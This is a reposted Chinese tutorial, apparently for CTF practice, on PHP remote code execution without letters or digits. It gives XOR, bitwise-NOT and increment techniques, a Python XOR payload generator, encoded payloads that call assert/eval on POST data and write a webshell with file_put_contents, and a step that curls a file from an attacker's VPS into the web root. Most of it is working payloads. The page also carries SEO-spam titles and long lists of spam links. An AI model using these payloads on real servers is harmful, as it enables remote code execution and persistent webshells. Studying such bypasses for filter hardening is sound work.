当前位置: 首页 > wzjs >正文

北京网站制作郑州怎么在百度做宣传广告

北京网站制作郑州,怎么在百度做宣传广告,亿网域名,网站建设的淘宝模板无数字字母RCE&#xff0c;这是一个老生常谈的问题&#xff0c;就是不利用数字和字母构造出webshell&#xff0c;从而能够执行我们的命令。 <?php highlight_file(__FILE__); $code $_GET[code]; if(preg_match("/[A-Za-z0-9]/",$code)){die("hacker!&quo…

无数字字母RCE,这是一个老生常谈的问题,就是不利用数字和字母构造出webshell,从而能够执行我们的命令。

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){die("hacker!");
}
@eval($code);
?>

例如这样的过滤,就要利用各种非字母数字的字符,通过各种变换如异或、取反、自增等方法构造出单个的字母字符,然后将这些构造出的字符拼接成一个函数名,然后就可以达成RCE

异或^

这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一

具体参考这个表格:

假如说我们想要构造出小写字母a,按照上表,a的二进制为01100001,那我们就可以选择两个非字母数字的字符进行异或,这里有很多种选法,我选择的是@!这两个,就能成功异或出字母a

import re
import urllib.parse
import requestsdef generate_xor_expression(payload, filter_regex):"""根据目标 payload 和过滤正则表达式,生成异或表达式。参数:payload: 目标字符串filter_regex: 用于过滤字符的正则表达式返回:构造的异或表达式字符串"""xor_1 = ''xor_2 = ''usable_chars = []# 找到没有被过滤的可用字符for i in range(0xff):if chr(i) not in filter_regex:usable_chars.append(chr(i))# 遍历目标 payload 的每个字符,找到对应的异或字符对for k in range(len(payload)):for i in usable_chars:if chr(ord(i) ^ 127) == payload[k]:  # 检查两个字符异或结果是否等于目标字符xor_1 += ixor_2 += chr(127)continue# 构建最终的表达式,将字符进行URL编码return "('" + urllib.parse.quote(xor_1) + "'^'" + urllib.parse.quote(xor_2) + "')"# 测试函数
if __name__ == "__main__":payload = "eval($_POST[1]);"  # 要生成的目标 payloadfilter_regex = r'[a-zA-Z0-9]'  # 定义过滤正则表达式result = generate_xor_expression(payload, filter_regex)  # 调用函数print(result)  # 打印最终生成的表达式

这是一个简单的异或构造的脚本,可以生成payload

取反~

<?php 
$a=urlencode(~'assert');
echo $a;
echo '666';
$b=urlencode(~'eval($_POST[1]);');
echo $b;

就像这样,得到结果为:

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

自增

利用自增,例如

"a"++ => "b"

所以,只要能够得到一个字符,我们就可以通过自增或自减的方式得到所有的字母。那么,要如何得到一个字母,例如A,在PHP中,强制连接数组和字符串的话,数组将会被转化为字符串,其值为“Array”。再取这个字符串的第一个字母,就可以得到A。

大佬的payload:

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

PHP7和PHP5中的特性

assert是无字母数字RCE中很重要的一个函数,但是php5和php7中的这个函数是有区别的。在php5中,assert是一个函数,因此我们可以动态调用。但是在PHP7中,assert不再是一个函数,而是变成了一个语言结构,不能再作为函数名动态执行代码。在php7中,可以通过($a)()这样的方式来执行命令,也就是说我们对phpinfo取反之后就可以直接执行了,亦或用file_put_contents来写shell。

例如php7中想执行phpinfo(),可以写成(phpinfo)(),利用取反构造payload:

(~%8F%97%8F%96%91%99%90)() // phpinfo

同理也可以直接写马

file_put_contents('4.php','<?php eval(\$_POST[1]);');
(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));

在php5中,不支持用($a)()这样的语句来调用函数,但是在php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码

无字母数字webshell之提高篇 | 离别歌这里面有,等我仔细攻读一下

临时文件

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

curl http://your_vps/1.txt > /var/www/html/1.php

然后 ?cmd=?><?=`/??p/p?p??????`;

为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令


文章转载自:

http://JIeWC4ac.wjyyg.cn
http://Twz3NOZR.wjyyg.cn
http://UyYU3JP4.wjyyg.cn
http://KkxauFd5.wjyyg.cn
http://YCPvsSrJ.wjyyg.cn
http://ETJE4dCO.wjyyg.cn
http://111Gsaw1.wjyyg.cn
http://Fssw6si4.wjyyg.cn
http://GbrBSAIn.wjyyg.cn
http://bCl3uBtI.wjyyg.cn
http://FxshN9QE.wjyyg.cn
http://v8xnZpUE.wjyyg.cn
http://GSLwesNc.wjyyg.cn
http://mU5Cuhca.wjyyg.cn
http://dPiPGhSD.wjyyg.cn
http://7rujfjPj.wjyyg.cn
http://XKLhgV4E.wjyyg.cn
http://WMriJkn3.wjyyg.cn
http://I8eLeuGl.wjyyg.cn
http://rhdp1ntx.wjyyg.cn
http://qEQrH2Sl.wjyyg.cn
http://FJnq8fWf.wjyyg.cn
http://x77OiLIy.wjyyg.cn
http://rWcx6LlL.wjyyg.cn
http://aiqFBWl3.wjyyg.cn
http://6Fd1G1Ql.wjyyg.cn
http://fBVUjpgV.wjyyg.cn
http://JddInfbi.wjyyg.cn
http://NUj4PSZR.wjyyg.cn
http://gYnPOcdA.wjyyg.cn
http://www.dtcms.com/wzjs/689230.html

相关文章:

  • 哈尔滨住房和城乡建设局网站网站建设合同是否属于技术服务合同
  • 做属于自己公司的网站天津seo招聘
  • jsp做网站的书珠海市手机网站建设品牌
  • 建筑做文本网站网页设计html代码大全空格
  • app网站建设开发大型网站建设
  • 网站推广目标什么意思上市装修公司排名前十强
  • 自己做网站好难挣钱做网站得先注册域名吗
  • 集团 投入巨资 做网站制作相册
  • 惠州网站设计定制wordpress升级主题总是失败
  • 网站优化方案怎么写电商直播系统开发
  • 九江网站建设公司wordpress 印象码
  • 网站如何用微信支付wordpress用户名和密码
  • 中国网站建设公司百强wordpress 下载站
  • 做app 的模板下载网站有哪些百度字体如何转换wordpress
  • 宜宾市城乡建设厅网站免费试用网站空间
  • 厦门找一家做网站的公司汽车专业网站
  • wordpress主题qux如何做网站优化推广
  • 做纸巾定制的网站我做微信淘宝客网站
  • 东莞市国外网站建设多少钱修改 wordpress footer
  • 网站开发一个人可以完成吗做led灯网站有哪些呢
  • 知名的教育行业网站开发ui自学网站
  • 俄语网站上海市建设工程招标公告
  • flash网站模板源码专业网站设计制作过程
  • 企业网站怎么管理系统招生处网站建设方案
  • 如何利用微信进行企业网站推广兴义网站建设网站建设
  • 做互联网网站需要什么资质吗鞍山网站制作推广
  • 网站是怎么建成的公司网站上线的通知
  • 做地方黄页网站外链代发公司
  • 电商企业门户网站建设方案国际军事新闻最新消息今天
  • dede网站模板页在什么文件夹自己做模板网站